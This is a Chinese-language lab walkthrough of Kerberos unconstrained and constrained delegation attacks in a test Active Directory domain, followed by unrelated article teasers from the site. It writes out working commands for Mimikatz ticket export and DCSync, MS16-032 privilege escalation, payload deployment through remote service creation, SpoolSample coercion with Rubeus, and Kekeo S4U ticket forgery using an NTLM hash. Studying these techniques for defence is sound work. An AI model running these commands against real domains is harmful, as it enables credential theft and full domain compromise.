域内攻击 ----->约束非约束委派攻击

在域中,除了我们常见的横向移动以外,还有很多攻击,像什么kerberoasting,委派攻击,NTLMrelay啊...... 还有很多(暂时只知道这些)

以前在一篇公众号看到的一个笑话也荟萃了网安的一些攻击手法!! 其中提到的spooler非约束性委派就是今天要讲的委派攻击之一!!!!  总的来说,委派攻击可以分成以下的三种

  • 非约束性委派
  • 约束性委派
  • 基于资源的约束性委派

基本上就这三种,随便提一下,委派攻击比其他攻击会更难理解!!!

1.委派的介绍

首先,什么是委派呢?

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动

接着,什么样的对象才能被委派呢?

  • 主机账号:活动目中中的Computers组内的计算机,也被称为机器账号
  • 服务账号:域内用户的一种类型,是服务器运行服务时所用的账号。

那么我们去域控上面看一看,顺便说一下本次实验环境

后续实验环境皆在此基础上进行

先来看机器账号,怎么查看域内的机器有几台呢?

net groups "Domain Computers"  /domain

完了喜欢eason被你发现捏) 

然后我们去域控上看,DEV和COMPUTERS这两个组

这两个组的权限不同,DEV组的权限比COMPUTERS的权限大!!!

这两个机器组都是可以设置委派的!!!! 然后就是服务账号

我们随便抓一个用户,他是肯定没有委派这个功能的!!! 我们只需要给他注册一个SPN即可

setspn -A priv/server.god.org server

然后我们再去查看对应的属性

setspn -U -A priv/test server

然后就立刻能在对应的属性里面看见了

然后,就可以开始今天的实验啦!!!!

2.非约束性委派攻击

先来讲一下原理吧!!!

 

其实约束性委派还是好理解,基本上就是Kerberos协议!!那么非约束性委派是怎么产生的呢? 

当用户A去访问web服务器的时候,通过Kerberos认证,用户就能访问web系统上的对应服务,但是web系统可能做了站库分离或者一些操作,导致了web系统需要再去访问文件服务器!!!

于是非约束性委派(委派)就诞生了!!!! ~~~~


  • 前面Kerberos认证和常规的认证没区别,但是在KDC返回的ST中,包含了A用户的TGT
  • 于是Web服务在收到ST之后,就拿着这张TGT再去获取一张通往文件服务器的ST
  • 通过这种ST,web系统就拿到了文件服务器的资源,并且返回给A

这样听起来好像没什么问题,但是事实真的如此吗????

   :::那可当然不是!!!我来讲一下这个问题出现的点

  1. Web服务器会将这个获得到的TGT存储在Lsass进程中,以便下次我们进行身份验证
  2. 配置了非约束性委派导致该Web服务器可以请求域内任意机器的任意服务(用户服务权限高)

所以,非约束性委派的一句话总结就是

用户在拿下非约束性委派的机器,并且通过相应手段拿到高权限的TGT,以此进行PTT

那么下面,我们就来演示一下对应的流程

先去配置一个非约束性委派,然后假设我们获取到了一台域内机器

然后我们去查询域内哪些机器配置了非约束性委派

先把adfind传上去,然后执行以下命令

查询域内配置了非约束性委派的服务账户

shell AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName  

 很庆幸,我们远控的server账户就被配置了非约束性委派

那么我们也不妨去查一下配置了非约束性委派的机器账号

shell  AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"  cn

可以看见,就算我们不做委派,域控默认的就被配置了非约束性委派!!!! 

那么首先,我们先去看一下权限

可以看见当前是无法访问到域控上的东西的!!!!

1.域管主动认证

当然了,这种基本上是不太可能会发生的,但是原理上是行的通的,我们也来演示一下

net use \\server.god.org\c$  "admin@123"  /user:GOD\administrator

先是域馆主动来进行认证 

然后我们就可以去CS上将对应的票据导出

mimikatz sekurlsa::tickets /export

结果发现

不够权限,那么我们就要提权咯,下面就来介绍一下这个CS自带的MS16-032,这个是真的nb

就连Winserver2016都能够提上来,直接是system

直接上线 ,那么此时我们再去导出票据

这这时候可以怎么做?? PTT啊!!!

不是,柠檬的,怎么不可以啊!!!!!  那我们自己传一个mimikatz上去试试?

然后我们再去注一次票

    :: 这不就可以了吗, 牛魔的cs的mimikatz总感觉有点问题

然后后面就是我们熟悉的横向移动了!!!!

shell copy counterstrike.exe   \\owa.god.org\c$

shell sc \\owa.god.org create cs binpath= "cmd.exe /c c:\counterstrike.exe"

shell sc \\owa.god.org start cs

执行即上线

2.Spooler漏洞联动非约束性委派

在现实生活中,是肯定不会有域馆主动来连接我们的,所以我们就要依靠打印机漏洞

这也就是那个乐子的出处

Windows打印系统协议(MS-RPRN)是一种旧的,但是默认启动的方法,在该方法中,域用户可以通过该方法强制让任何运行了Spooler服务的计算机通过Kerberos或者NTLM协议对攻击者选择的目标进行身份验证。

这个服务是默认开启的!!!!! 

那么!!! 开搞   先把rubeus,和spoolsample传上去

然后我们先开着监听

shell Rubeus.exe monitor /interval:1  /filteruser:OWA$   //后面这个是与域控的机器名字

然后强制回连

shell SpoolSample.exe OWA  SERVER

但是呢,就很奇怪了..... 

这玩意咋一点反应都没得啊(我防火墙关了啊!!!)

发现了这个,真的无语了,于是上网查了一下,大部分也是成功的但是也有和我一样失败的

但是不重要,我们直接继续后面的步骤

你会得到这样的一个"TGT",然后就是注票

rebeus.exe ptt /ticket  "刚才的TGT"

然后获取哈希

lsadump::dcsync  /all /csv

然后就能得到KRBTGT的NTLM哈希了!!!  

剩下的就不用我教你了吧,直接黄金票据了!!!

    

3.约束性委派攻击

这个就比较难了,❤❤❤前方高能❤❤❤,发车!!!!

                          

想听懂约束性委派,你就必须要学会一个协议 S4U2 (Service For User To)下的两个子协议

  1. S4U2S(Service For User To Self)
  2. S4U2P(Service For User To Proxy)

对于约束性委派,就要先看一下场景。

当用户不在域内的时候,为了让用户获取到文件服务上的资源,微软引进了S4U2协议

  1. 用户先通过NTLM或者其他认证,认证到WEB系统
  2. 然后Web系统以本机账户去申请一张TGT,然后以用户身份拿着这样TGT去申请ST1
  3. 然后将申请到的ST1返回给用户
  4. 用户再将ST1发给Web系统
  5. Web系统再将对应的ST1发送给KDC,请求ST2(S4U2P)
  6. 在获得了ST2之后,再去访问文件服务器

当然了,之所以叫做约束性委派,原因就是只能访问对应的服务捏!!!!

    ::那么问题出在哪里了呢????

  • WEB服务器可不可以直接伪造域管的身份???  我们在白银票据不是说过吗,如果我们能拿下服务账号的NTLM哈希,那么就能伪造白银票据!!

实施上也正是如此

这个就是通过拿下约束性委派机器的NTLM哈希,伪造Administrator的ST1,然后再去伪造ST2,访问被约束了的对应服务!!!

那么下面,我们来演示一波,先去配置约束性委派

这里我就让他约束为只能访问域控的CIFS服务吧

先去看看什么机器被配置了约束性委派

shell AdFind.exe -b "DC=god,DC=org" -f " (&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

结果发现没有 

然后我们再去查一下服务账户

shell AdFind.exe  -b "DC=god,DC=org" -f " (&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

能查到一个Server的账户,能访问得到域管上的服务,那么我们抓一波哈希

抓到,然后我们申请一张TGT ,这里用kekeo,先传上去

然后我们伪造TGT(这里是以SERVER来做TGT噢,理解这里,你就理解S4U2S了)

shell kekeo.exe "tgt::ask /user:god\server /NTLM:e25bbe456dd96a635f4434511788e502 /domain:god.org" "exit"

可以看见这张TGT

然后我们就以域管得身份去申请一张ST1(S4U2S)

shell kekeo.exe "tgs::s4u /tgt:TGT_god~server@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi  /user:administrator@god.org  /service:cifs/owa.god.org" "exit"

可以看见他在申请了ST1的同时又给我们申请了一张ST2,于是就终于到了最后一步伪造啦!!!

mimikatz kerberos::ptt TGS_administrator@god.org@GOD.ORG_cifs~owa.god.org@GOD.ORG.kirbi

此时,我们就可以去查看域控上的任意东西啦!!!!

但是,能不能传马呢????嘻嘻嘻嘻

肯定不行啊,CIFS只是能访问对应的文件,如果能传马,又怎么教约束性委派呢???/

那么如果域控配置了HOST服务那就可以了   --->(为了节目效果,我们就去配一下)

然后我们就可以申请去域控的服务票据ST2啦,先去清个票

然后就是熟悉的操作

于是就能看见我们的两张票了!!!!!

然后就是熟悉的上马了!!!!但是牛魔了,拒绝访问???

那么如果是ldap服务呢???

然后我们再去做服务

结果发现,服务是能做成功,但是服务运行不起来

但是又没有方法呢???   有!!! 就算只是cifs服务也可以

奇安信攻防社区-红队域渗透技术:委派攻击汇总(全)

可以参考上面的连接,不过他用的是impacket的python脚本(如果目标服务器没有python呢??)

所以网上大部分的委派攻击的文章都是直接到了能dir就结束了,而且约束性委派的攻击利用较少,这里就不演示了!! 

     

当然了,只有两种委派攻击吗,那当然不是,下一张,我们就讲我们的大boss!!!

基于资源的约束性委派--- >>> RBCD

     

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/643000.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue17:v-bind对css样式的控制增强

代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title><styl…

Kafka(十三)监控与告警

目录 Kafka监控与告警1 解决方案1.2 基础知识JMX监控指标代理查看KafkaJMX远程端口 1.3 真实案例Kafka Exporter:PromethusPromethus Alert ManagerGrafana 1.3 实际操作部署监控和告警系统1.2.1 部署Kafka Exporter1.2.2 部署Prometheus1.2.3 部署AlertManger1.2.4 添加告警规…

缓存IO与直接IO

IO类型 缓存 I/O 缓存 I/O 又被称作标准 I/O&#xff0c;大多数文件系统的默认 I/O 操作都是缓存 I/O。在 Linux 的缓存 I/O 机制中&#xff0c;数据先从磁盘复制到内核空间的缓冲区&#xff0c;然后从内核空间缓冲区复制到应用程序的地址空间&#xff08;用户空间&#xff0…

java基础-JVM日志、参数、内存结构、垃圾回收器

一、基础基础 1.1 数据类型 Java的数据类型分为原始数据类型和引用数据类型。 原始数据类型又分为数字型和布尔型。 数字型又有byte、short、int、long、char、float、double。注意&#xff0c;在这里char被定义为整数型&#xff0c;并且在规范中明确定义&#xff1a;byte、…

阿里云的域名购买和备案(一)

前言 本篇文章主要讲阿里云的域名购买和备案。 大家好&#xff0c;我是小荣&#xff0c;我又开始做自己的产品迷途dev了。这里详细记录一下域名购买的流程和备案流程。视频教学 购买流程 1.阿里云官网搜索域名注册 2.搜索你想注册的域名 3.将想要注册的域名加入域名清单 4.点…

Java+原生HTML+ WebSocket+MySQL云HIS信息管理系统源码 支持一体化电子病历四级

Java原生HTML WebSocketMySQL云HIS信息管理系统源码 支持一体化电子病历四级 云HIS电子病历系统是一种基于云计算技术的医疗信息管理系统&#xff0c;旨在实现医疗信息的数字化、标准化和共享化。该系统通过云计算平台&#xff0c;将医院内部的各个业务模块&#xff08;如门诊、…

Spring系列-03-BeanFactory和Application接口和相关实现

BeanFactory BeanFactory和它的子接口们 BeanFactory 接口的所有子接口, 如下图 BeanFactory(根容器)-掌握 BeanFactory是根容器 The root interface for accessing a Spring bean container. This is the basic client view of a bean container; further interfaces such …

【深度学习实战—7】:基于Pytorch的多标签图像分类-Fashion-Product-Images

✨博客主页&#xff1a;王乐予&#x1f388; ✨年轻人要&#xff1a;Living for the moment&#xff08;活在当下&#xff09;&#xff01;&#x1f4aa; &#x1f3c6;推荐专栏&#xff1a;【图像处理】【千锤百炼Python】【深度学习】【排序算法】 目录 &#x1f63a;一、数据…

提示优化 | PhaseEvo:面向大型语言模型的统一上下文提示优化

【摘要】为大型语言模型 (LLM) 制作理想的提示是一项具有挑战性的任务&#xff0c;需要大量资源和专家的人力投入。现有的工作将提示教学和情境学习示例的优化视为不同的问题&#xff0c;导致提示性能不佳。本研究通过建立统一的上下文提示优化框架来解决这一限制&#xff0c;旨…

【讲解下PDM,PDM是什么?】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…

GEE批量导出逐日、逐月、逐季节和逐年的遥感影像(以NDVI为例)

影像导出 1.逐日数据导出2.逐月数据导出3.季节数据导出4.逐年数据导出 最近很多小伙伴们私信我&#xff0c;问我如何高效导出遥感数据&#xff0c;从逐日到逐季度&#xff0c;我都有一套自己的方法&#xff0c;今天就来和大家分享一下&#xff01;   &#x1f50d;【逐日导出…

基于51单片机的数字频率计(电路图+pcb+论文+仿真+源码)

于51单片机的数字频率计 设计的频率计范围能够达到1HZ-1MHZ(实际上51单片机达不到这个范围&#xff0c;不要在实验环境下进行)&#xff0c;这个是课设来着&#xff0c;用Proteus仿真实现的&#xff0c;给有需要的同学参考一下 仿真原理图如下&#xff08;proteus仿真工程文件可…

方言和大语言模型

方言多样性及其对语言模型的影响 语言的演变是不可避免的&#xff0c;反映并推动了重大的社会变革和传统。语言接触往往会推动我们说话方式的创新&#xff0c;在美国全球文化的影响下&#xff0c;一种新的叙事正在其语言织锦中展开。 例如&#xff0c;在佛罗里达州南部&#…

使用FFmpeg推流实现在B站24小时点歌直播

使用FFmpeg推流实现在B站24小时点歌直播 本文首发于个人博客 安装FFmpeg centos7 https://www.myfreax.com/how-to-install-ffmpeg-on-centos-7/ https://linuxize.com/post/how-to-install-ffmpeg-on-centos-7/ 使用FFmpeg在B站直播 https://zhuanlan.zhihu.com/p/2395…

内外网文件传输安全可控的方式有哪些?这几款软件值得参考

在信息化时代&#xff0c;随着企业对网络安全和数据保护需求的日益增强&#xff0c;内外网隔离已成为一种常见的网络安全策略。内外网隔离旨在防止未经授权的访问和数据泄露&#xff0c;确保企业网络的安全稳定。然而&#xff0c;在实施内外网隔离的同时&#xff0c;如何实现文…

记录使用 Vue3 过程中的一些技术点

1、自定义组件&#xff0c;并使用 v-model 进行数据双向绑定。 简述&#xff1a; 自定义组件使用 v-model 进行传参时&#xff0c;遵循 Vue 3 的 v-model 机制。在 Vue 3 中&#xff0c;v-model 默认使用了 modelValue 作为 prop 名称&#xff0c;以及 update:modelValue 作为…

springboot错误

错误总结 1、使用IDEA 的 initialalzer显示2、IDEA 新建文件 没有 java class3、java: 错误: 不支持发行版本 22解决方法4、IDEA-SpringBoot项目yml配置文件不自动提示解决办法 1、使用IDEA 的 initialalzer显示 IDEA创建SpringBoot项目时出现&#xff1a;Initialization fail…

【C++】类与对象——多态详解

目录 一、多态的定义 二、重载、覆盖(重写)、隐藏(重定义)的对比 三、析构函数重写 四、C11 override 和 final 1. final 2. override 五、抽象类 六、多态的原理 一、多态的定义 多态是在不同继承关系的类对象&#xff0c;去调用同一函数&#xff0c;产生了不同的行为…

MySQL的数据库和表

查看数据库 命令行的方式&#xff1a; cd /mysql/bin mysql.exe -uroot -p IP&#xff08;不是连接自己&#xff09; 端口&#xff08;不是3306&#xff09; show databases; 直接使用图形化界面点击&#xff1a; 查看库里的表 使用命令行查看&#xff1a; 进入mysql数据库 u…

基于高通公司AI Hub Models的On-Device AI学习:Introduction to On-Device AI

Introduction to On-Device AI 本文是学习 https://www.deeplearning.ai/short-courses/introduction-to-on-device-ai/这门课的学习笔记。 What you’ll learn in this course As AI moves beyond the cloud, on-device inference is rapidly expanding to smartphones, IoT…